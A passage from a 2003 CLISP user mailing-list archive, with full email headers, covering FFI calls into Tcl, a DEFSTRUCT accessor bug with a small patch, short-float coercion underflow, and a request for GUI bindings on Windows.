discussion List-Unsubscribe: , List-Archive: Date: Fri Oct 17 06:15:15 2003 X-Original-Date: Fri, 17 Oct 2003 13:35:56 +0200 Sam wrote: > typing "win32:GetCu TAB" does not work because the completer does not > know that win32 is a case-sensitive package and thus folds case. > there is now no way to find out whether the package is case-sensitive > from lisp! > is this intentional? It was only intentional in the sense that I knew no valid use case of a PACKAGE-CASE-SENSITIVE function. You have found one. So you can just go ahead and add the function. Bruno From bacilo@gmx.net Fri Oct 17 11:41:15 2003 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 1AAZXH-0003DI-00 for ; Fri, 17 Oct 2003 11:41:15 -0700 Received: from mail.gmx.net ([213.165.64.20]) by sc8-sf-mx1.sourceforge.net with smtp (Exim 4.22) id 1AAZVv-0004NL-Uj for clisp-list@lists.sourceforge.net; Fri, 17 Oct 2003 11:39:52 -0700 Received: (qmail 16482 invoked by uid 65534); 17 Oct 2003 18:36:04 -0000 Received: from du-006-043.access.de.clara.net (EHLO gmx.net) (212.82.229.43) by mail.gmx.net (mp027) with SMTP; 17 Oct 2003 20:36:04 +0200 X-Authenticated: #9749365 Message-ID: <3F90367D.4070608@gmx.net> From: Basim Al-Shaikhli User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.5b) Gecko/20030901 Thunderbird/0.2 X-Accept-Language: en-us, en MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Score: -0.1 (/) X-Spam-Report: -0.1/5.0 Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to https://sf.net/tracker/?func=add&group_id=1&atid=200001 USER_AGENT_MOZILLA_UA (0.0 points) User-Agent header indicates a non-spam MUA (Mozilla) X_ACCEPT_LANG (-0.1 points) Has a X-Accept-Language header Subject: [clisp-list] ffi and tcl/tk Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Oct 17 11:42:02 2003 X-Original-Date: Fri, 17 Oct 2003 20:35:41 +0200 hi, i've just made my first steps with the FFI-module. i thought it would be nice to have access to tcl/tk (especially tk) from clisp. but it seems that there's something very wrong in what i'm doing whenever i execute the following code, clisp crashes with the following error: *** - handle_fault error2 ! address = 0xc0000010 not in [0x62fd5098,0x63000000) SIGSEGV cannot be cured. Fault address = 0xc0000010. that's what i have done so far: ;;; typedef struct { ;;; char */result/; ;;; Tcl_FreeProc */freeProc/; ;;; int /errorLine/; ;;; } Tcl_Interp; (def-c-struct TCL_INTERP (result c-string) (freeProc c-pointer) (errorLine int)) ;;; Tcl_Interp* Tcl_CreateInterp() <../TclLib/Interp.htm> (def-call-out create-interp (:library "tcl84.dll") (:name "Tcl_CreateInterp") (:return-type (c-ptr TCL_INTERP))) ;;; int Tcl_Eval*(/interp, script/) (def-call-out tcl-eval (:library "tcl84.dll") (:name "Tcl_Eval") (:arguments (interp (c-ptr TCL_INTERP)) (script c-string)) (:return-type int)) ;;; testing (setq interp (create-interpr) (tcl-eval interp "set v 3") it would be very helpful if someone would tell me where i'm doing something wrong. Basim From sds@alphatech.com Fri Oct 17 12:05:53 2003 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 1AAZv7-0005YB-00 for ; Fri, 17 Oct 2003 12:05:53 -0700 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.22) id 1AAZv4-0000TX-1D for clisp-list@lists.sourceforge.net; Fri, 17 Oct 2003 12:05:50 -0700 Received: from WINSTEINGOLDLAP (winsteingoldlap-dock.alphatech.com [10.0.19.22]) by alphatech.com (8.11.7+Sun/8.11.6/check_local-4.4) with ESMTP id h9HJ5Go25853 for ; Fri, 17 Oct 2003 15:05:16 -0400 (EDT) X-Spam-Filter: check_local@alphatech.com 4.4(020923:1754) http://digitalanswers.org/ To: clisp-list@lists.sourceforge.net Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <3F90367D.4070608@gmx.net> (Basim Al-Shaikhli's message of "Fri, 17 Oct 2003 20:35:41 +0200") References: <3F90367D.4070608@gmx.net> Message-ID: User-Agent: Gnus/5.1003 (Gnus v5.10.3) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Spam-Score: -2.5 (--) X-Spam-Report: -2.5/5.0 Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to https://sf.net/tracker/?func=add&group_id=1&atid=200001 IN_REP_TO (-0.5 points) Has a In-Reply-To header REFERENCES (-0.5 points) Has a valid-looking References header USER_AGENT_GNUS_UA (-0.5 points) User-Agent header indicates a non-spam MUA (Gnus) QUOTED_EMAIL_TEXT (-0.5 points) BODY: Contains what looks like a quoted email text REPLY_WITH_QUOTES (-0.5 points) Reply with quoted text Subject: [clisp-list] Re: ffi and tcl/tk Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Oct 17 12:06:08 2003 X-Original-Date: Fri, 17 Oct 2003 15:05:16 -0400 > * Basim Al-Shaikhli [2003-10-17 20:35:41 +0200]: > > ;;; typedef struct { > ;;; char */result/; > ;;; Tcl_FreeProc */freeProc/; > ;;; int /errorLine/; > ;;; } Tcl_Interp; > (def-c-struct TCL_INTERP > (result c-string) > (freeProc c-pointer) > (errorLine int)) try c-pointer instead of c-string for result. the quick hack : [5]> (ffi:default-foreign-language :stdc) :STDC [6]> (def-call-out create-interp (:library "tcl84.dll") (:name "Tcl_CreateInterp") (:return-type c-pointer)) CREATE-INTERP [7]> (def-call-out tcl-eval (:library "tcl84.dll") (:name "Tcl_Eval") (:arguments (interp c-pointer) (script c-string)) (:return-type int)) TCL-EVAL [8]> (setq interp (create-interp)) # [9]> (tcl-eval interp "set v 3") 0 [10]> -- Sam Steingold (http://www.podval.org/~sds) running w2k (lisp programmers do it better) From bacilo@gmx.net Fri Oct 17 12:17:14 2003 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 1AAa66-0006Xu-00 for ; Fri, 17 Oct 2003 12:17:14 -0700 Received: from mail.gmx.de ([213.165.64.20] helo=mail.gmx.net) by sc8-sf-mx1.sourceforge.net with smtp (Exim 4.22) id 1AAa65-0003Rp-Kg for clisp-list@lists.sourceforge.net; Fri, 17 Oct 2003 12:17:13 -0700 Received: (qmail 10117 invoked by uid 65534); 17 Oct 2003 19:16:37 -0000 Received: from du-006-155.access.de.clara.net (EHLO gmx.net) (212.82.229.155) by mail.gmx.net (mp007) with SMTP; 17 Oct 2003 21:16:37 +0200 X-Authenticated: #9749365 Message-ID: <3F904012.80902@gmx.net> From: Basim Al-Shaikhli User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.5b) Gecko/20030901 Thunderbird/0.2 X-Accept-Language: en-us, en MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Re: ffi and tcl/tk References: <3F90367D.4070608@gmx.net> In-Reply-To: Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Score: -1.1 (-) X-Spam-Report: -1.1/5.0 Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to https://sf.net/tracker/?func=add&group_id=1&atid=200001 USER_AGENT_MOZILLA_UA (0.0 points) User-Agent header indicates a non-spam MUA (Mozilla) IN_REP_TO (-0.5 points) Has a In-Reply-To header X_ACCEPT_LANG (-0.1 points) Has a X-Accept-Language header REFERENCES (-0.5 points) Has a valid-looking References header Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Oct 17 12:18:05 2003 X-Original-Date: Fri, 17 Oct 2003 21:16:34 +0200 >try c-pointer instead of c-string for result. >the quick hack : > > >[5]> (ffi:default-foreign-language :stdc) >:STDC >[6]> (def-call-out create-interp (:library "tcl84.dll") > (:name "Tcl_CreateInterp") > (:return-type c-pointer)) >CREATE-INTERP >[7]> (def-call-out tcl-eval (:library "tcl84.dll") > (:name "Tcl_Eval") > (:arguments (interp c-pointer) (script c-string)) > (:return-type int)) >TCL-EVAL >[8]> (setq interp (create-interp)) ># >[9]> (tcl-eval interp "set v 3") >0 >[10]> > > thanks a lot :-) Basim From csr21@cam.ac.uk Wed Oct 22 08:03:39 2003 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 1ACKWQ-0001nl-00 for ; Wed, 22 Oct 2003 08:03:38 -0700 Received: from plum.csi.cam.ac.uk ([131.111.8.3]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.22) id 1ACIE0-00018e-3u for clisp-list@lists.sourceforge.net; Wed, 22 Oct 2003 05:36:28 -0700 Received: from zone-7.jesus.cam.ac.uk ([131.111.243.37] helo=lambda.jcn.srcf.net) by plum.csi.cam.ac.uk with esmtp (Exim 4.20) id 1ACIAY-0003dk-3i for clisp-list@lists.sourceforge.net; Wed, 22 Oct 2003 13:32:54 +0100 Received: from csr21 by lambda.jcn.srcf.net with local (Exim 3.36 #1 (Debian)) id 1ACIAX-0003fH-00 for ; Wed, 22 Oct 2003 13:32:53 +0100 To: CLISP From: Christophe Rhodes Message-ID: User-Agent: Gnus/5.1002 (Gnus v5.10.2) Emacs/21.3 (gnu/linux) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Cam-ScannerInfo: http://www.cam.ac.uk/cs/email/scanner/ X-Cam-AntiVirus: No virus found X-Cam-SpamDetails: Not scanned X-Spam-Score: 0.6 (/) X-Spam-Report: 0.6/5.0 Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to https://sf.net/tracker/?func=add&group_id=1&atid=200001 FROM_ENDS_IN_NUMS (0.7 points) From: ends in numbers USER_AGENT_GNUS_UA (-0.5 points) User-Agent header indicates a non-spam MUA (Gnus) MAILTO_TO_SPAM_ADDR (0.4 points) URI: Includes a link to a likely spammer email address Subject: [clisp-list] DEFSTRUCT/:CONC-NAME and accessor name collisions Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Oct 22 08:04:17 2003 X-Original-Date: Wed, 22 Oct 2003 13:32:53 +0100 Hi, I think this is a bug in Clisp 2.31: --- foo.lisp --- (defstruct foo a b) (defstruct (bar (:include foo) (:conc-name foo-)) c) (defun quux (x) (foo-a x)) (defun frobozz (x y) (setf (foo-a x) y)) --- foo.lisp --- The transcript below shows the problem: essentially, while the reader used in QUUX is respecting the constraint on colliding names for slot accessors (see the page for DEFSTRUCT, in the :CONC-NAME section), the writer in FROBOZZ isn't. csr21@mu:~$ clisp -ansi -q [1]> (lisp-implementation-version) "2.31 (released 2003-09-01) (built 3273208247) (memory 3275808511)" [2]> (compile-file "/tmp/foo.lisp") Compiling file /tmp/foo.lisp ... Wrote file /tmp/foo.fas 0 errors, 0 warnings #P"/tmp/foo.fas" ; NIL ; NIL [3]> (load *) ;; Loading file /tmp/foo.fas ... ;; Loaded file /tmp/foo.fas T [4]> (quux (make-foo)) ; as expected NIL [5]> (frobozz (make-foo) t) ; not as expected *** - SYSTEM::%STRUCTURE-STORE: #S(FOO :A NIL :B NIL) is not a structure of type BAR Disassembly of QUUX and FROBOZZ respectively show that the expected types are FOO and BAR, respectively. I hope that's enough information; let me know if you need any more details. Cheers, Christophe -- http://www-jcsu.jesus.cam.ac.uk/~csr21/ +44 1223 510 299/+44 7729 383 757 (set-pprint-dispatch 'number (lambda (s o) (declare (special b)) (format s b))) (defvar b "~&Just another Lisp hacker~%") (pprint #36rJesusCollegeCambridge) From sds@alphatech.com Wed Oct 22 10:32:16 2003 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 1ACMqG-0005DS-00 for ; Wed, 22 Oct 2003 10:32:16 -0700 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.22) id 1ACMFx-0001yG-BB for clisp-list@lists.sourceforge.net; Wed, 22 Oct 2003 09:54:45 -0700 Received: from WINSTEINGOLDLAP (winsteingoldlap-dock.alphatech.com [10.0.19.22]) by alphatech.com (8.11.7+Sun/8.11.6/check_local-4.4) with ESMTP id h9MGb0j02822; Wed, 22 Oct 2003 12:37:01 -0400 (EDT) X-Spam-Filter: check_local@alphatech.com 4.4(020923:1754) http://digitalanswers.org/ To: clisp-list@lists.sourceforge.net Cc: Bruno Haible Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: (Christophe Rhodes's message of "Wed, 22 Oct 2003 13:32:53 +0100") References: Message-ID: User-Agent: Gnus/5.1003 (Gnus v5.10.3) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Spam-Score: -2.1 (--) X-Spam-Report: -2.1/5.0 Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to https://sf.net/tracker/?func=add&group_id=1&atid=200001 IN_REP_TO (-0.5 points) Has a In-Reply-To header REFERENCES (-0.5 points) Has a valid-looking References header USER_AGENT_GNUS_UA (-0.5 points) User-Agent header indicates a non-spam MUA (Gnus) QUOTED_EMAIL_TEXT (-0.5 points) BODY: Contains what looks like a quoted email text MAILTO_TO_SPAM_ADDR (0.4 points) URI: Includes a link to a likely spammer email address REPLY_WITH_QUOTES (-0.5 points) Reply with quoted text Subject: [clisp-list] Re: DEFSTRUCT/:CONC-NAME and accessor name collisions Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Oct 22 10:33:04 2003 X-Original-Date: Wed, 22 Oct 2003 12:37:00 -0400 > * Christophe Rhodes [2003-10-22 13:32:53 +0100]: > > I think this is a bug in Clisp 2.31: > > --- foo.lisp --- > (defstruct foo a b) > (defstruct (bar (:include foo) (:conc-name foo-)) c) > (defun quux (x) (foo-a x)) > (defun frobozz (x y) (setf (foo-a x) y)) > --- foo.lisp --- > > The transcript below shows the problem: essentially, while the reader > used in QUUX is respecting the constraint on colliding names for slot > accessors (see the page for DEFSTRUCT, in the :CONC-NAME section), the > writer in FROBOZZ isn't. > > csr21@mu:~$ clisp -ansi -q > > [1]> (lisp-implementation-version) > "2.31 (released 2003-09-01) (built 3273208247) (memory 3275808511)" > [2]> (compile-file "/tmp/foo.lisp") > > Compiling file /tmp/foo.lisp ... > > Wrote file /tmp/foo.fas > 0 errors, 0 warnings > #P"/tmp/foo.fas" ; > NIL ; > NIL > [3]> (load *) > ;; Loading file /tmp/foo.fas ... > ;; Loaded file /tmp/foo.fas > T > [4]> (quux (make-foo)) ; as expected > NIL > [5]> (frobozz (make-foo) t) ; not as expected > > *** - SYSTEM::%STRUCTURE-STORE: #S(FOO :A NIL :B NIL) is not a structure of type BAR > > Disassembly of QUUX and FROBOZZ respectively show that the expected > types are FOO and BAR, respectively. : The :INHERIT option is exactly like :INCLUDE except that it does not create new accessors for the inherited slots (this is a CLISP extension). If you replace :INCLUDE with :INHERIT in your code, it will work. I wonder if making DEFSTRUCT smarter and not redefining accessors when not needed is the better way and should be used instead of :INHERIT. -- Sam Steingold (http://www.podval.org/~sds) running w2k Daddy, what does "format disk c: complete" mean? From csr21@cam.ac.uk Wed Oct 22 12:48:54 2003 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 1ACOyU-0008VH-00 for ; Wed, 22 Oct 2003 12:48:54 -0700 Received: from gold.csi.cam.ac.uk ([131.111.8.12]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.22) id 1ACM8A-00015A-OJ for clisp-list@lists.sourceforge.net; Wed, 22 Oct 2003 09:46:42 -0700 Received: from zone-7.jesus.cam.ac.uk ([131.111.243.37] helo=lambda.jcn.srcf.net) by gold.csi.cam.ac.uk with esmtp (Exim 4.20) id 1ACLhY-0001pD-US for clisp-list@lists.sourceforge.net; Wed, 22 Oct 2003 17:19:12 +0100 Received: from csr21 by lambda.jcn.srcf.net with local (Exim 3.36 #1 (Debian)) id 1ACLhN-0003yy-00 for ; Wed, 22 Oct 2003 17:19:01 +0100 To: CLISP From: Christophe Rhodes Message-ID: User-Agent: Gnus/5.1002 (Gnus v5.10.2) Emacs/21.3 (gnu/linux) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Cam-ScannerInfo: http://www.cam.ac.uk/cs/email/scanner/ X-Cam-AntiVirus: No virus found X-Cam-SpamDetails: Not scanned X-Spam-Score: 0.2 (/) X-Spam-Report: 0.2/5.0 Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to https://sf.net/tracker/?func=add&group_id=1&atid=200001 FROM_ENDS_IN_NUMS (0.7 points) From: ends in numbers USER_AGENT_GNUS_UA (-0.5 points) User-Agent header indicates a non-spam MUA (Gnus) Subject: [clisp-list] short float coercion Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Oct 22 12:49:09 2003 X-Original-Date: Wed, 22 Oct 2003 17:19:01 +0100 Hi, The following demonstrates, if not an outright bug, at least a suboptimality in float coercion. I understand where it's coming from, I guess, but it's quite undesireable to get 0.0 out at the end... is there any chance of this being fixed to "do what I mean"? [1]> (lisp-implementation-version) "2.31 (released 2003-09-01) (built 3275820501) (memory 3275821131)" [2]> least-positive-short-float 2.93874s-39 [3]> (coerce * 'single-float) *** - floating point underflow 1. Break [4]> [5]> (ext:without-package-lock ("SYSTEM") (setf system::*inhibit-floating-point-underflow* t)) T [6]> least-positive-short-float 2.93874s-39 [7]> (coerce * 'single-float) 0.0 Cheers, Christophe -- http://www-jcsu.jesus.cam.ac.uk/~csr21/ +44 1223 510 299/+44 7729 383 757 (set-pprint-dispatch 'number (lambda (s o) (declare (special b)) (format s b))) (defvar b "~&Just another Lisp hacker~%") (pprint #36rJesusCollegeCambridge) From bacilo@gmx.net Wed Oct 22 13:20:41 2003 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 1ACPTF-0002HU-00 for ; Wed, 22 Oct 2003 13:20:41 -0700 Received: from mail.gmx.net ([213.165.64.20]) by sc8-sf-mx1.sourceforge.net with smtp (Exim 4.22) id 1ACP5g-0000wL-GX for clisp-list@lists.sourceforge.net; Wed, 22 Oct 2003 12:56:20 -0700 Received: (qmail 9184 invoked by uid 65534); 22 Oct 2003 19:53:47 -0000 Received: from B18ed.b.pppool.de (EHLO gmx.net) (213.7.24.237) by mail.gmx.net (mp027) with SMTP; 22 Oct 2003 21:53:47 +0200 X-Authenticated: #9749365 Message-ID: <3F96DFB3.1030108@gmx.net> From: Basim Al-Shaikhli User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.5b) Gecko/20030901 Thunderbird/0.2 X-Accept-Language: en-us, en MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Score: -0.1 (/) X-Spam-Report: -0.1/5.0 Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to https://sf.net/tracker/?func=add&group_id=1&atid=200001 USER_AGENT_MOZILLA_UA (0.0 points) User-Agent header indicates a non-spam MUA (Mozilla) X_ACCEPT_LANG (-0.1 points) Has a X-Accept-Language header Subject: [clisp-list] clisp and user interfaces Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Oct 22 13:21:04 2003 X-Original-Date: Wed, 22 Oct 2003 21:51:15 +0200 i would like to know how other people create user interfaces for clisp-apps. the thing i miss most in clisp is a possibility to create GUIs. currently i'm running a tiny application http-server and let the user communicate via browser. although this solution has some benefits i would like to create 'real' GUIs (for example i would like to have some editable text-(editor-)widget and i'm annoyed about the capabilities of html's textarea-field). unfortunately i didn't find any clisp-bindings to gui-libraries under windows. of course i tried lisp2wish, but it seems to be a bit too slow, especially if i want to bind callbacks like dragging a scrollbar to lisp-functions. my attempts to embed tk via FFI failed because of the (read: my) problems with embedding clisp in the tk event-loop via FFI. well, here's my question: has anyone ever tried to make tk usable via clisp? or any other widget library (under windows)? if not, how do you create GUIs? do you create GUIs? i would even be thankful for some raw, unfinished sourcecode... *sigh* ;-) Basim From csr21@cam.ac.uk Wed Oct 22 13:32:41 2003 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 1ACPer-0003Az-00 for ; Wed, 22 Oct 2003 13:32:41 -0700 Received: from rose.csi.cam.ac.uk ([131.111.8.13]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.22) id 1ACOqm-0008A9-6q for clisp-list@lists.sourceforge.net; Wed, 22 Oct 2003 12:40:56 -0700 Received: from zone-7.jesus.cam.ac.uk ([131.111.243.37] helo=lambda.jcn.srcf.net) by rose.csi.cam.ac.uk with esmtp (Exim 4.20) id 1ACOpn-00045M-29 for clisp-list@lists.sourceforge.net; Wed, 22 Oct 2003 20:39:55 +0100 Received: from csr21 by lambda.jcn.srcf.net with local (Exim 3.36 #1 (Debian)) id 1ACOpl-0004FP-00 for ; Wed, 22 Oct 2003 20:39:53 +0100 To: CLISP Subject: Re: [clisp-list] Re: DEFSTRUCT/:CONC-NAME and accessor name collisions References: From: Christophe Rhodes In-Reply-To: (Sam Steingold's message of "Wed, 22 Oct 2003 14:14:19 -0400") Message-ID: User-Agent: Gnus/5.1002 (Gnus v5.10.2) Emacs/21.3 (gnu/linux) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Cam-ScannerInfo: http://www.cam.ac.uk/cs/email/scanner/ X-Cam-AntiVirus: No virus found X-Cam-SpamDetails: Not scanned X-Spam-Score: -2.3 (--) X-Spam-Report: -2.3/5.0 Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to https://sf.net/tracker/?func=add&group_id=1&atid=200001 FROM_ENDS_IN_NUMS (0.7 points) From: ends in numbers IN_REP_TO (-0.5 points) Has a In-Reply-To header REFERENCES (-0.5 points) Has a valid-looking References header USER_AGENT_GNUS_UA (-0.5 points) User-Agent header indicates a non-spam MUA (Gnus) EMAIL_ATTRIBUTION (-0.5 points) BODY: Contains what looks like an email attribution PATCH_UNIFIED_DIFF (-0.5 points) BODY: Contains what looks like a patch from diff -u REPLY_WITH_QUOTES (-0.5 points) Reply with quoted text Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Oct 22 13:33:10 2003 X-Original-Date: Wed, 22 Oct 2003 20:39:52 +0100 Sam Steingold writes: > did you send the patch as an attachment? Yep. OK. > could you please just append it and re-send the message? See below (the point being that the DEFSETF that it expands to does REMPROP inside EVAL-WHEN, so this has to too). Cheers, Christophe -- http://www-jcsu.jesus.cam.ac.uk/~csr21/ +44 1223 510 299/+44 7729 383 757 (set-pprint-dispatch 'number (lambda (s o) (declare (special b)) (format s b))) (defvar b "~&Just another Lisp hacker~%") (pprint #36rJesusCollegeCambridge) --- /home/csr21/misc-cvs/clisp/src/defstruct.lisp 2003-02-15 17:57:35.000000000 +0000 +++ defstruct.lisp 2003-10-22 15:03:23.000000000 +0100 @@ -326,8 +324,9 @@ (if (consp type) `(LIST 'SETF (LIST 'AREF STRUCT ,offset) VALUE) `(LIST 'SETF (LIST 'SVREF STRUCT ,offset) VALUE))))) + (eval-when (compile eval load) (SYSTEM::%PUT ',accessorname 'SYSTEM::DEFSTRUCT-WRITER - ',name)))))) + ',name))))))) slotlist)) ;; Two hooks for CLOS From sds@alphatech.com Wed Oct 22 14:05:22 2003 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 1ACQAU-0006Y0-00 for ; Wed, 22 Oct 2003 14:05:22 -0700 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.22) id 1ACPen-0004X7-6D for clisp-list@lists.sourceforge.net; Wed, 22 Oct 2003 13:32:37 -0700 Received: from WINSTEINGOLDLAP (winsteingoldlap-dock.alphatech.com [10.0.19.22]) by alphatech.com (8.11.7+Sun/8.11.6/check_local-4.4) with ESMTP id h9MKT0j08738; Wed, 22 Oct 2003 16:29:01 -0400 (EDT) X-Spam-Filter: check_local@alphatech.com 4.4(020923:1754) http://digitalanswers.org/ To: clisp-list@lists.sourceforge.net Cc: Bruno Haible Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: (Christophe Rhodes's message of "Wed, 22 Oct 2003 17:19:01 +0100") References: Message-ID: User-Agent: Gnus/5.1003 (Gnus v5.10.3) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Spam-Score: -2.1 (--) X-Spam-Report: -2.1/5.0 Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to https://sf.net/tracker/?func=add&group_id=1&atid=200001 IN_REP_TO (-0.5 points) Has a In-Reply-To header REFERENCES (-0.5 points) Has a valid-looking References header USER_AGENT_GNUS_UA (-0.5 points) User-Agent header indicates a non-spam MUA (Gnus) QUOTED_EMAIL_TEXT (-0.5 points) BODY: Contains what looks like a quoted email text MAILTO_TO_SPAM_ADDR (0.4 points) URI: Includes a link to a likely spammer email address REPLY_WITH_QUOTES (-0.5 points) Reply with quoted text Subject: [clisp-list] Re: short float coercion Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Oct 22 14:06:07 2003 X-Original-Date: Wed, 22 Oct 2003 16:29:01 -0400 > * Christophe Rhodes [2003-10-22 17:19:01 +0100]: > > The following demonstrates, if not an outright bug, at least a > suboptimality in float coercion. I understand where it's coming from, > I guess, but it's quite undesireable to get 0.0 out at the end... is > there any chance of this being fixed to "do what I mean"? You are trying to coerce to SINGLE-FLOAT a number which is smaller than 